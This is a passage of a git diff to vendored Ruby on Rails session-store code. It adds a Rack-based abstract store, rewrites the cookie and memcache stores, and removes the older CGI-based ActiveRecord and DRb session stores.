+        end
+
+        def session_id
+          ActiveSupport::Deprecation.warn(
+            "ActionController::Session::AbstractStore::SessionHash#session_id " +
+            "has been deprecated. Please use request.session_options[:id] instead.", caller)
+          @env[ENV_SESSION_OPTIONS_KEY][:id]
+        end
+
+        def [](key)
+          load! unless @loaded
+          super
+        end
+
+        def []=(key, value)
+          load! unless @loaded
+          super
+        end
+
+        def to_hash
+          h = {}.replace(self)
+          h.delete_if { |k,v| v.nil? }
+          h
+        end
+
+        def data
+         ActiveSupport::Deprecation.warn(
+           "ActionController::Session::AbstractStore::SessionHash#data " +
+           "has been deprecated. Please use #to_hash instead.", caller)
+          to_hash
+        end
+
+        def inspect
+          load! unless @loaded
+          super
+        end
+
+        private
+          def loaded?
+            @loaded
+          end
+
+          def load!
+            stale_session_check! do
+              id, session = @by.send(:load_session, @env)
+              (@env[ENV_SESSION_OPTIONS_KEY] ||= {})[:id] = id
+              replace(session)
+              @loaded = true
+            end
+          end
+
+          def stale_session_check!
+            yield
+          rescue ArgumentError => argument_error
+            if argument_error.message =~ %r{undefined class/module ([\w:]*\w)}
+              begin
+                # Note that the regexp does not allow $1 to end with a ':'
+                $1.constantize
+              rescue LoadError, NameError => const_error
+                raise ActionController::SessionRestoreError, "Session contains objects whose class definition isn\\'t available.\nRemember to require the classes for all objects kept in the session.\n(Original exception: \#{const_error.message} [\#{const_error.class}])\n"
+              end
+
+              retry
+            else
+              raise
+            end
+          end
+      end
+
+      DEFAULT_OPTIONS = {
+        :key =>           '_session_id',
+        :path =>          '/',
+        :domain =>        nil,
+        :expire_after =>  nil,
+        :secure =>        false,
+        :httponly =>      true,
+        :cookie_only =>   true
+      }
+
+      def initialize(app, options = {})
+        # Process legacy CGI options
+        options = options.symbolize_keys
+        if options.has_key?(:session_path)
+          options[:path] = options.delete(:session_path)
+        end
+        if options.has_key?(:session_key)
+          options[:key] = options.delete(:session_key)
+        end
+        if options.has_key?(:session_http_only)
+          options[:httponly] = options.delete(:session_http_only)
+        end
+
+        @app = app
+        @default_options = DEFAULT_OPTIONS.merge(options)
+        @key = @default_options[:key]
+        @cookie_only = @default_options[:cookie_only]
+      end
+
+      def call(env)
+        session = SessionHash.new(self, env)
+
+        env[ENV_SESSION_KEY] = session
+        env[ENV_SESSION_OPTIONS_KEY] = @default_options.dup
+
+        response = @app.call(env)
+
+        session_data = env[ENV_SESSION_KEY]
+        options = env[ENV_SESSION_OPTIONS_KEY]
+
+        if !session_data.is_a?(AbstractStore::SessionHash) || session_data.send(:loaded?) || options[:expire_after]
+          session_data.send(:load!) if session_data.is_a?(AbstractStore::SessionHash) && !session_data.send(:loaded?)
+
+          sid = options[:id] || generate_sid
+
+          unless set_session(env, sid, session_data.to_hash)
+            return response
+          end
+
+          cookie = Rack::Utils.escape(@key) + '=' + Rack::Utils.escape(sid)
+          cookie << "; domain=#{options[:domain]}" if options[:domain]
+          cookie << "; path=#{options[:path]}" if options[:path]
+          if options[:expire_after]
+            expiry = Time.now + options[:expire_after]
+            cookie << "; expires=#{expiry.httpdate}"
+          end
+          cookie << "; Secure" if options[:secure]
+          cookie << "; HttpOnly" if options[:httponly]
+
+          headers = response[1]
+          unless headers[SET_COOKIE].blank?
+            headers[SET_COOKIE] << "\n#{cookie}"
+          else
+            headers[SET_COOKIE] = cookie
+          end
+        end
+
+        response
+      end
+
+      private
+        def generate_sid
+          ActiveSupport::SecureRandom.hex(16)
+        end
+
+        def load_session(env)
+          request = Rack::Request.new(env)
+          sid = request.cookies[@key]
+          unless @cookie_only
+            sid ||= request.params[@key]
+          end
+          sid, session = get_session(env, sid)
+          [sid, session]
+        end
+
+        def get_session(env, sid)
+          raise '#get_session needs to be implemented.'
+        end
+
+        def set_session(env, sid, session_data)
+          raise '#set_session needs to be implemented.'
+        end
+    end
+  end
+end
diff --git a/vendor/rails/actionpack/lib/action_controller/session/active_record_store.rb b/vendor/rails/actionpack/lib/action_controller/session/active_record_store.rb
deleted file mode 100644
index 1e8eb57a..00000000
--- a/vendor/rails/actionpack/lib/action_controller/session/active_record_store.rb
+++ /dev/null
@@ -1,340 +0,0 @@
-require 'cgi'
-require 'cgi/session'
-require 'digest/md5'
-
-class CGI
-  class Session
-    attr_reader :data
-
-    # Return this session's underlying Session instance. Useful for the DB-backed session stores.
-    def model
-      @dbman.model if @dbman
-    end
-
-
-    # A session store backed by an Active Record class.  A default class is
-    # provided, but any object duck-typing to an Active Record Session class
-    # with text +session_id+ and +data+ attributes is sufficient.
-    #
-    # The default assumes a +sessions+ tables with columns:
-    #   +id+ (numeric primary key),
-    #   +session_id+ (text, or longtext if your session data exceeds 65K), and
-    #   +data+ (text or longtext; careful if your session data exceeds 65KB).
-    # The +session_id+ column should always be indexed for speedy lookups.
-    # Session data is marshaled to the +data+ column in Base64 format.
-    # If the data you write is larger than the column's size limit,
-    # ActionController::SessionOverflowError will be raised.
-    #
-    # You may configure the table name, primary key, and data column.
-    # For example, at the end of <tt>config/environment.rb</tt>:
-    #   CGI::Session::ActiveRecordStore::Session.table_name = 'legacy_session_table'
-    #   CGI::Session::ActiveRecordStore::Session.primary_key = 'session_id'
-    #   CGI::Session::ActiveRecordStore::Session.data_column_name = 'legacy_session_data'
-    # Note that setting the primary key to the +session_id+ frees you from
-    # having a separate +id+ column if you don't want it.  However, you must
-    # set <tt>session.model.id = session.session_id</tt> by hand!  A before filter
-    # on ApplicationController is a good place.
-    #
-    # Since the default class is a simple Active Record, you get timestamps
-    # for free if you add +created_at+ and +updated_at+ datetime columns to
-    # the +sessions+ table, making periodic session expiration a snap.
-    #
-    # You may provide your own session class implementation, whether a
-    # feature-packed Active Record or a bare-metal high-performance SQL
-    # store, by setting
-    #   CGI::Session::ActiveRecordStore.session_class = MySessionClass
-    # You must implement these methods:
-    #   self.find_by_session_id(session_id)
-    #   initialize(hash_of_session_id_and_data)
-    #   attr_reader :session_id
-    #   attr_accessor :data
-    #   save
-    #   destroy
-    #
-    # The example SqlBypass class is a generic SQL session store.  You may
-    # use it as a basis for high-performance database-specific stores.
-    class ActiveRecordStore
-      # The default Active Record class.
-      class Session < ActiveRecord::Base
-        # Customizable data column name.  Defaults to 'data'.
-        cattr_accessor :data_column_name
-        self.data_column_name = 'data'
-
-        before_save :marshal_data!
-        before_save :raise_on_session_data_overflow!
-
-        class << self
-          # Don't try to reload ARStore::Session in dev mode.
-          def reloadable? #:nodoc:
-            false
-          end
-
-          def data_column_size_limit
-            @data_column_size_limit ||= columns_hash[@@data_column_name].limit
-          end
-
-          # Hook to set up sessid compatibility.
-          def find_by_session_id(session_id)
-            setup_sessid_compatibility!
-            find_by_session_id(session_id)
-          end
-
-          def marshal(data)   ActiveSupport::Base64.encode64(Marshal.dump(data)) if data end
-          def unmarshal(data) Marshal.load(ActiveSupport::Base64.decode64(data)) if data end
-
-          def create_table!
-            connection.execute <<-end_sql
-              CREATE TABLE #{table_name} (
-                id INTEGER PRIMARY KEY,
-                #{connection.quote_column_name('session_id')} TEXT UNIQUE,
-                #{connection.quote_column_name(@@data_column_name)} TEXT(255)
-              )
-            end_sql
-          end
-
-          def drop_table!
-            connection.execute "DROP TABLE #{table_name}"
-          end
-
-          private
-            # Compatibility with tables using sessid instead of session_id.
-            def setup_sessid_compatibility!
-              # Reset column info since it may be stale.
-              reset_column_information
-              if columns_hash['sessid']
-                def self.find_by_session_id(*args)
-                  find_by_sessid(*args)
-                end
-
-                define_method(:session_id)  { sessid }
-                define_method(:session_id=) { |session_id| self.sessid = session_id }
-              else
-                def self.find_by_session_id(session_id)
-                  find :first, :conditions => ["session_id #{attribute_condition(session_id)}", session_id]
-                end
-              end
-            end
-        end
-
-        # Lazy-unmarshal session state.
-        def data
-          @data ||= self.class.unmarshal(read_attribute(@@data_column_name)) || {}
-        end
-
-        attr_writer :data
-
-        # Has the session been loaded yet?
-        def loaded?
-          !! @data
-        end
-
-        private
-
-          def marshal_data!
-            return false if !loaded?
-            write_attribute(@@data_column_name, self.class.marshal(self.data))
-          end
-
-          # Ensures that the data about to be stored in the database is not
-          # larger than the data storage column. Raises
-          # ActionController::SessionOverflowError.
-          def raise_on_session_data_overflow!
-            return false if !loaded?
-            limit = self.class.data_column_size_limit
-            if loaded? and limit and read_attribute(@@data_column_name).size > limit
-              raise ActionController::SessionOverflowError
-            end
-          end
-      end
-
-      # A barebones session store which duck-types with the default session
-      # store but bypasses Active Record and issues SQL directly.  This is
-      # an example session model class meant as a basis for your own classes.
-      #
-      # The database connection, table name, and session id and data columns
-      # are configurable class attributes.  Marshaling and unmarshaling
-      # are implemented as class methods that you may override.  By default,
-      # marshaling data is
-      #
-      #   ActiveSupport::Base64.encode64(Marshal.dump(data))
-      #
-      # and unmarshaling data is
-      #
-      #   Marshal.load(ActiveSupport::Base64.decode64(data))
-      #
-      # This marshaling behavior is intended to store the widest range of
-      # binary session data in a +text+ column.  For higher performance,
-      # store in a +blob+ column instead and forgo the Base64 encoding.
-      class SqlBypass
-        # Use the ActiveRecord::Base.connection by default.
-        cattr_accessor :connection
-
-        # The table name defaults to 'sessions'.
-        cattr_accessor :table_name
-        @@table_name = 'sessions'
-
-        # The session id field defaults to 'session_id'.
-        cattr_accessor :session_id_column
-        @@session_id_column = 'session_id'
-
-        # The data field defaults to 'data'.
-        cattr_accessor :data_column
-        @@data_column = 'data'
-
-        class << self
-
-          def connection
-            @@connection ||= ActiveRecord::Base.connection
-          end
-
-          # Look up a session by id and unmarshal its data if found.
-          def find_by_session_id(session_id)
-            if record = @@connection.select_one("SELECT * FROM #{@@table_name} WHERE #{@@session_id_column}=#{@@connection.quote(session_id)}")
-              new(:session_id => session_id, :marshaled_data => record['data'])
-            end
-          end
-
-          def marshal(data)   ActiveSupport::Base64.encode64(Marshal.dump(data)) if data end
-          def unmarshal(data) Marshal.load(ActiveSupport::Base64.decode64(data)) if data end
-
-          def create_table!
-            @@connection.execute <<-end_sql
-              CREATE TABLE #{table_name} (
-                id INTEGER PRIMARY KEY,
-                #{@@connection.quote_column_name(session_id_column)} TEXT UNIQUE,
-                #{@@connection.quote_column_name(data_column)} TEXT
-              )
-            end_sql
-          end
-
-          def drop_table!
-            @@connection.execute "DROP TABLE #{table_name}"
-          end
-        end
-
-        attr_reader :session_id
-        attr_writer :data
-
-        # Look for normal and marshaled data, self.find_by_session_id's way of
-        # telling us to postpone unmarshaling until the data is requested.
-        # We need to handle a normal data attribute in case of a new record.
-        def initialize(attributes)
-          @session_id, @data, @marshaled_data = attributes[:session_id], attributes[:data], attributes[:marshaled_data]
-          @new_record = @marshaled_data.nil?
-        end
-
-        def new_record?
-          @new_record
-        end
-
-        # Lazy-unmarshal session state.
-        def data
-          unless @data
-            if @marshaled_data
-              @data, @marshaled_data = self.class.unmarshal(@marshaled_data) || {}, nil
-            else
-              @data = {}
-            end
-          end
-          @data
-        end
-
-        def loaded?
-          !! @data
-        end
-
-        def save
-          return false if !loaded?
-          marshaled_data = self.class.marshal(data)
-
-          if @new_record
-            @new_record = false
-            @@connection.update <<-end_sql, 'Create session'
-              INSERT INTO #{@@table_name} (
-                #{@@connection.quote_column_name(@@session_id_column)},
-                #{@@connection.quote_column_name(@@data_column)} )
-              VALUES (
-                #{@@connection.quote(session_id)},
-                #{@@connection.quote(marshaled_data)} )
-            end_sql
-          else
-            @@connection.update <<-end_sql, 'Update session'
-              UPDATE #{@@table_name}
-              SET #{@@connection.quote_column_name(@@data_column)}=#{@@connection.quote(marshaled_data)}
-              WHERE #{@@connection.quote_column_name(@@session_id_column)}=#{@@connection.quote(session_id)}
-            end_sql
-          end
-        end
-
-        def destroy
-          unless @new_record
-            @@connection.delete <<-end_sql, 'Destroy session'
-              DELETE FROM #{@@table_name}
-              WHERE #{@@connection.quote_column_name(@@session_id_column)}=#{@@connection.quote(session_id)}
-            end_sql
-          end
-        end
-      end
-
-
-      # The class used for session storage.  Defaults to
-      # CGI::Session::ActiveRecordStore::Session.
-      cattr_accessor :session_class
-      self.session_class = Session
-
-      # Find or instantiate a session given a CGI::Session.
-      def initialize(session, option = nil)
-        session_id = session.session_id
-        unless @session = ActiveRecord::Base.silence { @@session_class.find_by_session_id(session_id) }
-          unless session.new_session
-            raise CGI::Session::NoSession, 'uninitialized session'
-          end
-          @session = @@session_class.new(:session_id => session_id, :data => {})
-          # session saving can be lazy again, because of improved component implementation
-          # therefore next line gets commented out:
-          # @session.save
-        end
-      end
-
-      # Access the underlying session model.
-      def model
-        @session
-      end
-
-      # Restore session state.  The session model handles unmarshaling.
-      def restore
-        if @session
-          @session.data
-        end
-      end
-
-      # Save session store.
-      def update
-        if @session
-          ActiveRecord::Base.silence { @session.save }
-        end
-      end
-
-      # Save and close the session store.
-      def close
-        if @session
-          update
-          @session = nil
-        end
-      end
-
-      # Delete and close the session store.
-      def delete
-        if @session
-          ActiveRecord::Base.silence { @session.destroy }
-          @session = nil
-        end
-      end
-
-      protected
-        def logger
-          ActionController::Base.logger rescue nil
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb b/vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb
index f2fb2009..a2543c18 100644
--- a/vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb
+++ b/vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb
@@ -1,167 +1,221 @@
-require 'cgi'
-require 'cgi/session'
-require 'openssl'       # to generate the HMAC message digest
+module ActionController
+  module Session
+    # This cookie-based session store is the Rails default. Sessions typically
+    # contain at most a user_id and flash message; both fit within the 4K cookie
+    # size limit. Cookie-based sessions are dramatically faster than the
+    # alternatives.
+    #
+    # If you have more than 4K of session data or don't want your data to be
+    # visible to the user, pick another session store.
+    #
+    # CookieOverflow is raised if you attempt to store more than 4K of data.
+    #
+    # A message digest is included with the cookie to ensure data integrity:
+    # a user cannot alter his +user_id+ without knowing the secret key
+    # included in the hash. New apps are generated with a pregenerated secret
+    # in config/environment.rb. Set your own for old apps you're upgrading.
+    #
+    # Session options:
+    #
+    # * <tt>:secret</tt>: An application-wide key string or block returning a
+    #   string called per generated digest. The block is called with the
+    #   CGI::Session instance as an argument. It's important that the secret
+    #   is not vulnerable to a dictionary attack. Therefore, you should choose
+    #   a secret consisting of random numbers and letters and more than 30
+    #   characters. Examples:
+    #
+    #     :secret => '449fe2e7daee471bffae2fd8dc02313d'
+    #     :secret => Proc.new { User.current_user.secret_key }
+    #
+    # * <tt>:digest</tt>: The message digest algorithm used to verify session
+    #   integrity defaults to 'SHA1' but may be any digest provided by OpenSSL,
+    #   such as 'MD5', 'RIPEMD160', 'SHA256', etc.
+    #
+    # To generate a secret key for an existing application, run
+    # "rake secret" and set the key in config/environment.rb.
+    #
+    # Note that changing digest or secret invalidates all existing sessions!
+    class CookieStore
+      # Cookies can typically store 4096 bytes.
+      MAX = 4096
+      SECRET_MIN_LENGTH = 30 # characters
 
-# This cookie-based session store is the Rails default. Sessions typically
-# contain at most a user_id and flash message; both fit within the 4K cookie
-# size limit. Cookie-based sessions are dramatically faster than the
-# alternatives.
-#
-# If you have more than 4K of session data or don't want your data to be
-# visible to the user, pick another session store.
-#
-# CookieOverflow is raised if you attempt to store more than 4K of data.
-# TamperedWithCookie is raised if the data integrity check fails.
-#
-# A message digest is included with the cookie to ensure data integrity:
-# a user cannot alter his +user_id+ without knowing the secret key included in
-# the hash. New apps are generated with a pregenerated secret in
-# config/environment.rb. Set your own for old apps you're upgrading.
-#
-# Session options:
-#
-# * <tt>:secret</tt>: An application-wide key string or block returning a string
-#   called per generated digest. The block is called with the CGI::Session
-#   instance as an argument. It's important that the secret is not vulnerable to
-#   a dictionary attack. Therefore, you should choose a secret consisting of
-#   random numbers and letters and more than 30 characters. Examples:
-#
-#     :secret => '449fe2e7daee471bffae2fd8dc02313d'
-#     :secret => Proc.new { User.current_user.secret_key }
-#
-# * <tt>:digest</tt>: The message digest algorithm used to verify session
-#   integrity defaults to 'SHA1' but may be any digest provided by OpenSSL,
-#   such as 'MD5', 'RIPEMD160', 'SHA256', etc.
-#
-# To generate a secret key for an existing application, run
-# "rake secret" and set the key in config/environment.rb.
-#
-# Note that changing digest or secret invalidates all existing sessions!
-class CGI::Session::CookieStore
-  # Cookies can typically store 4096 bytes.
-  MAX = 4096
-  SECRET_MIN_LENGTH = 30 # characters
+      DEFAULT_OPTIONS = {
+        :key          => '_session_id',
+        :domain       => nil,
+        :path         => "/",
+        :expire_after => nil,
+        :httponly     => true
+      }.freeze
 
-  # Raised when storing more than 4K of session data.
-  class CookieOverflow < StandardError; end
+      ENV_SESSION_KEY = "rack.session".freeze
+      ENV_SESSION_OPTIONS_KEY = "rack.session.options".freeze
+      HTTP_SET_COOKIE = "Set-Cookie".freeze
 
-  # Raised when the cookie fails its integrity check.
-  class TamperedWithCookie < StandardError; end
+      # Raised when storing more than 4K of session data.
+      class CookieOverflow < StandardError; end
 
-  # Called from CGI::Session only.
-  def initialize(session, options = {})
-    # The session_key option is required.
-    if options['session_key'].blank?
-      raise ArgumentError, 'A session_key is required to write a cookie containing the session data. Use config.action_controller.session = { :session_key => "_myapp_session", :secret => "some secret phrase" } in config/environment.rb'
-    end
-
-    # The secret option is required.
-    ensure_secret_secure(options['secret'])
-
-    # Keep the session and its secret on hand so we can read and write cookies.
-    @session, @secret = session, options['secret']
-
-    # Message digest defaults to SHA1.
-    @digest = options['digest'] || 'SHA1'
-
-    # Default cookie options derived from session settings.
-    @cookie_options = {
-      'name'    => options['session_key'],
-      'path'    => options['session_path'],
-      'domain'  => options['session_domain'],
-      'expires' => options['session_expires'],
-      'secure'  => options['session_secure'],
-      'http_only' => options['session_http_only']
-    }
-
-    # Set no_hidden and no_cookies since the session id is unused and we
-    # set our own data cookie.
-    options['no_hidden'] = true
-    options['no_cookies'] = true
-  end
-
-  # To prevent users from using something insecure like "Password" we make sure that the
-  # secret they've provided is at least 30 characters in length.
-  def ensure_secret_secure(secret)
-    # There's no way we can do this check if they've provided a proc for the
-    # secret.
-    return true if secret.is_a?(Proc)
-
-    if secret.blank?
-      raise ArgumentError, %Q{A secret is required to generate an integrity hash for cookie session data. Use config.action_controller.session = { :session_key => "_myapp_session", :secret => "some secret phrase of at least #{SECRET_MIN_LENGTH} characters" } in config/environment.rb}
-    end
-
-    if secret.length < SECRET_MIN_LENGTH
-      raise ArgumentError, %Q{Secret should be something secure, like "#{CGI::Session.generate_unique_id}".  The value you provided, "#{secret}", is shorter than the minimum length of #{SECRET_MIN_LENGTH} characters}
-    end
-  end
-
-  # Restore session data from the cookie.
-  def restore
-    @original = read_cookie
-    @data = unmarshal(@original) || {}
-  end
-
-  # Wait until close to write the session data cookie.
-  def update; end
-
-  # Write the session data cookie if it was loaded and has changed.
-  def close
-    if defined?(@data) && !@data.blank?
-      updated = marshal(@data)
-      raise CookieOverflow if updated.size > MAX
-      write_cookie('value' => updated) unless updated == @original
-    end
-  end
-
-  # Delete the session data by setting an expired cookie with no data.
-  def delete
-    @data = nil
-    clear_old_cookie_value
-    write_cookie('value' => nil, 'expires' => 1.year.ago)
-  end
-
-  # Generate the HMAC keyed message digest. Uses SHA1 by default.
-  def generate_digest(data)
-    key = @secret.respond_to?(:call) ? @secret.call(@session) : @secret
-    OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(@digest), key, data)
-  end
-
-  private
-    # Marshal a session hash into safe cookie data. Include an integrity hash.
-    def marshal(session)
-      data = ActiveSupport::Base64.encode64s(Marshal.dump(session))
-      "#{data}--#{generate_digest(data)}"
-    end
-
-    # Unmarshal cookie data to a hash and verify its integrity.
-    def unmarshal(cookie)
-      if cookie
-        data, digest = cookie.split('--')
-
-        # Do two checks to transparently support old double-escaped data.
-        unless digest == generate_digest(data) || digest == generate_digest(data = CGI.unescape(data))
-          delete
-          raise TamperedWithCookie
+      def initialize(app, options = {})
+        # Process legacy CGI options
+        options = options.symbolize_keys
+        if options.has_key?(:session_path)
+          options[:path] = options.delete(:session_path)
+        end
+        if options.has_key?(:session_key)
+          options[:key] = options.delete(:session_key)
+        end
+        if options.has_key?(:session_http_only)
+          options[:httponly] = options.delete(:session_http_only)
         end
 
-        Marshal.load(ActiveSupport::Base64.decode64(data))
+        @app = app
+
+        # The session_key option is required.
+        ensure_session_key(options[:key])
+        @key = options.delete(:key).freeze
+
+        # The secret option is required.
+        ensure_secret_secure(options[:secret])
+        @secret = options.delete(:secret).freeze
+
+        @digest = options.delete(:digest) || 'SHA1'
+        @verifier = verifier_for(@secret, @digest)
+
+        @default_options = DEFAULT_OPTIONS.merge(options).freeze
+
+        freeze
       end
-    end
 
-    # Read the session data cookie.
-    def read_cookie
-      @session.cgi.cookies[@cookie_options['name']].first
-    end
+      def call(env)
+        env[ENV_SESSION_KEY] = AbstractStore::SessionHash.new(self, env)
+        env[ENV_SESSION_OPTIONS_KEY] = @default_options.dup
 
-    # CGI likes to make you hack.
-    def write_cookie(options)
-      cookie = CGI::Cookie.new(@cookie_options.merge(options))
-      @session.cgi.send :instance_variable_set, '@output_cookies', [cookie]
-    end
+        status, headers, body = @app.call(env)
 
-    # Clear cookie value so subsequent new_session doesn't reload old data.
-    def clear_old_cookie_value
-      @session.cgi.cookies[@cookie_options['name']].clear
+        session_data = env[ENV_SESSION_KEY]
+        options = env[ENV_SESSION_OPTIONS_KEY]
+
+        if !session_data.is_a?(AbstractStore::SessionHash) || session_data.send(:loaded?) || options[:expire_after]
+          session_data.send(:load!) if session_data.is_a?(AbstractStore::SessionHash) && !session_data.send(:loaded?)
+          session_data = marshal(session_data.to_hash)
+
+          raise CookieOverflow if session_data.size > MAX
+
+          cookie = Hash.new
+          cookie[:value] = session_data
+          unless options[:expire_after].nil?
+            cookie[:expires] = Time.now + options[:expire_after]
+          end
+
+          cookie = build_cookie(@key, cookie.merge(options))
+          unless headers[HTTP_SET_COOKIE].blank?
+            headers[HTTP_SET_COOKIE] << "\n#{cookie}"
+          else
+            headers[HTTP_SET_COOKIE] = cookie
+          end
+        end
+
+        [status, headers, body]
+      end
+
+      private
+        # Should be in Rack::Utils soon
+        def build_cookie(key, value)
+          case value
+          when Hash
+            domain  = "; domain="  + value[:domain] if value[:domain]
+            path    = "; path="    + value[:path]   if value[:path]
+            # According to RFC 2109, we need dashes here.
+            # N.B.: cgi.rb uses spaces...
+            expires = "; expires=" + value[:expires].clone.gmtime.
+              strftime("%a, %d-%b-%Y %H:%M:%S GMT") if value[:expires]
+            secure = "; secure" if value[:secure]
+            httponly = "; HttpOnly" if value[:httponly]
+            value = value[:value]
+          end
+          value = [value] unless Array === value
+          cookie = Rack::Utils.escape(key) + "=" +
+            value.map { |v| Rack::Utils.escape(v) }.join("&") +
+            "#{domain}#{path}#{expires}#{secure}#{httponly}"
+        end
+
+        def load_session(env)
+          request = Rack::Request.new(env)
+          session_data = request.cookies[@key]
+          data = unmarshal(session_data) || persistent_session_id!({})
+          [data[:session_id], data]
+        end
+
+        # Marshal a session hash into safe cookie data. Include an integrity hash.
+        def marshal(session)
+          @verifier.generate(persistent_session_id!(session))
+        end
+
+        # Unmarshal cookie data to a hash and verify its integrity.
+        def unmarshal(cookie)
+          persistent_session_id!(@verifier.verify(cookie)) if cookie
+        rescue ActiveSupport::MessageVerifier::InvalidSignature
+          nil
+        end
+
+        def ensure_session_key(key)
+          if key.blank?
+            raise ArgumentError, 'A key is required to write a ' +
+              'cookie containing the session data. Use ' +
+              'config.action_controller.session = { :key => ' +
+              '"_myapp_session", :secret => "some secret phrase" } in ' +
+              'config/environment.rb'
+          end
+        end
+
+        # To prevent users from using something insecure like "Password" we make sure that the
+        # secret they've provided is at least 30 characters in length.
+        def ensure_secret_secure(secret)
+          # There's no way we can do this check if they've provided a proc for the
+          # secret.
+          return true if secret.is_a?(Proc)
+
+          if secret.blank?
+            raise ArgumentError, "A secret is required to generate an " +
+              "integrity hash for cookie session data. Use " +
+              "config.action_controller.session = { :key => " +
+              "\"_myapp_session\", :secret => \"some secret phrase of at " +
+              "least #{SECRET_MIN_LENGTH} characters\" } " +
+              "in config/environment.rb"
+          end
+
+          if secret.length < SECRET_MIN_LENGTH
+            raise ArgumentError, "Secret should be something secure, " +
+              "like \"#{ActiveSupport::SecureRandom.hex(16)}\".  The value you " +
+              "provided, \"#{secret}\", is shorter than the minimum length " +
+              "of #{SECRET_MIN_LENGTH} characters"
+          end
+        end
+
+        def verifier_for(secret, digest)
+          key = secret.respond_to?(:call) ? secret.call : secret
+          ActiveSupport::MessageVerifier.new(key, digest)
+        end
+
+        def generate_sid
+          ActiveSupport::SecureRandom.hex(16)
+        end
+
+        def persistent_session_id!(data)
+          (data ||= {}).merge!(inject_persistent_session_id(data))
+        end
+
+        def inject_persistent_session_id(data)
+          requires_session_id?(data) ? { :session_id => generate_sid } : {}
+        end
+
+        def requires_session_id?(data)
+          if data
+            data.respond_to?(:key?) && !data.key?(:session_id)
+          else
+            true
+          end
+        end
     end
+  end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/session/drb_server.rb b/vendor/rails/actionpack/lib/action_controller/session/drb_server.rb
deleted file mode 100755
index 2caa27f6..00000000
--- a/vendor/rails/actionpack/lib/action_controller/session/drb_server.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-#!/usr/bin/env ruby
-
-# This is a really simple session storage daemon, basically just a hash,
-# which is enabled for DRb access.
-
-require 'drb'
-
-session_hash = Hash.new
-session_hash.instance_eval { @mutex = Mutex.new }
-
-class <<session_hash
-  def []=(key, value)
-    @mutex.synchronize do
-      super(key, value)
-    end
-  end
-
-  def [](key)
-    @mutex.synchronize do
-      super(key)
-    end
-  end
-
-  def delete(key)
-    @mutex.synchronize do
-      super(key)
-    end
-  end
-end
-
-DRb.start_service('druby://127.0.0.1:9192', session_hash)
-DRb.thread.join
diff --git a/vendor/rails/actionpack/lib/action_controller/session/drb_store.rb b/vendor/rails/actionpack/lib/action_controller/session/drb_store.rb
deleted file mode 100644
index 4feb2636..00000000
--- a/vendor/rails/actionpack/lib/action_controller/session/drb_store.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-require 'cgi'
-require 'cgi/session'
-require 'drb'
- 
-class CGI #:nodoc:all
-  class Session
-    class DRbStore
-      @@session_data = DRbObject.new(nil, 'druby://localhost:9192')
- 
-      def initialize(session, option=nil)
-        @session_id = session.session_id
-      end
- 
-      def restore
-        @h = @@session_data[@session_id] || {}
-      end
- 
-      def update
-        @@session_data[@session_id] = @h
-      end
- 
-      def close
-        update
-      end
- 
-      def delete
-        @@session_data.delete(@session_id)
-      end
-      
-      def data
-        @@session_data[@session_id]
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/session/mem_cache_store.rb b/vendor/rails/actionpack/lib/action_controller/session/mem_cache_store.rb
index 2f08af66..f745715a 100644
--- a/vendor/rails/actionpack/lib/action_controller/session/mem_cache_store.rb
+++ b/vendor/rails/actionpack/lib/action_controller/session/mem_cache_store.rb
@@ -1,95 +1,48 @@
-# cgi/session/memcached.rb - persistent storage of marshalled session data
-#
-# == Overview
-#
-# This file provides the CGI::Session::MemCache class, which builds
-# persistence of storage data on top of the MemCache library.  See
-# cgi/session.rb for more details on session storage managers.
-#
-
 begin
-  require 'cgi/session'
   require_library_or_gem 'memcache'
 
-  class CGI
-    class Session
-      # MemCache-based session storage class.
-      #
-      # This builds upon the top-level MemCache class provided by the
-      # library file memcache.rb.  Session data is marshalled and stored
-      # in a memcached cache.
-      class MemCacheStore
-        def check_id(id) #:nodoc:#
-          /[^0-9a-zA-Z]+/ =~ id.to_s ? false : true
-        end
+  module ActionController
+    module Session
+      class MemCacheStore < AbstractStore
+        def initialize(app, options = {})
+          # Support old :expires option
+          options[:expire_after] ||= options[:expires]
 
-        # Create a new CGI::Session::MemCache instance
-        #
-        # This constructor is used internally by CGI::Session. The
-        # user does not generally need to call it directly.
-        #
-        # +session+ is the session for which this instance is being
-        # created. The session id must only contain alphanumeric
-        # characters; automatically generated session ids observe
-        # this requirement.
-        #
-        # +options+ is a hash of options for the initializer. The
-        # following options are recognized:
-        #
-        # cache::  an instance of a MemCache client to use as the
-        #      session cache.
-        #
-        # expires:: an expiry time value to use for session entries in
-        #     the session cache. +expires+ is interpreted in seconds
-        #     relative to the current time if it�s less than 60*60*24*30
-        #     (30 days), or as an absolute Unix time (e.g., Time#to_i) if
-        #     greater. If +expires+ is +0+, or not passed on +options+,
-        #     the entry will never expire.
-        #
-        # This session's memcache entry will be created if it does
-        # not exist, or retrieved if it does.
-        def initialize(session, options = {})
-          id = session.session_id
-          unless check_id(id)
-            raise ArgumentError, "session_id '%s' is invalid" % id
+          super
+
+          @default_options = {
+            :namespace => 'rack:session',
+            :memcache_server => 'localhost:11211'
+          }.merge(@default_options)
+
+          @pool = options[:cache] || MemCache.new(@default_options[:memcache_server], @default_options)
+          unless @pool.servers.any? { |s| s.alive? }
+            raise "#{self} unable to find server during initialization."
           end
-          @cache = options['cache'] || MemCache.new('localhost')
-          @expires = options['expires'] || 0
-          @session_key = "session:#{id}"
-          @session_data = {}
-          # Add this key to the store if haven't done so yet
-          unless @cache.get(@session_key)
-            @cache.add(@session_key, @session_data, @expires)
+          @mutex = Mutex.new
+
+          super
+        end
+
+        private
+          def get_session(env, sid)
+            sid ||= generate_sid
+            begin
+              session = @pool.get(sid) || {}
+            rescue MemCache::MemCacheError, Errno::ECONNREFUSED
+              session = {}
+            end
+            [sid, session]
           end
-        end
-
-        # Restore session state from the session's memcache entry.
-        #
-        # Returns the session state as a hash.
-        def restore
-          @session_data = @cache[@session_key] || {}
-        end
-
-        # Save session state to the session's memcache entry.
-        def update
-          @cache.set(@session_key, @session_data, @expires)
-        end
-      
-        # Update and close the session's memcache entry.
-        def close
-          update
-        end
-
-        # Delete the session's memcache entry.
-        def delete
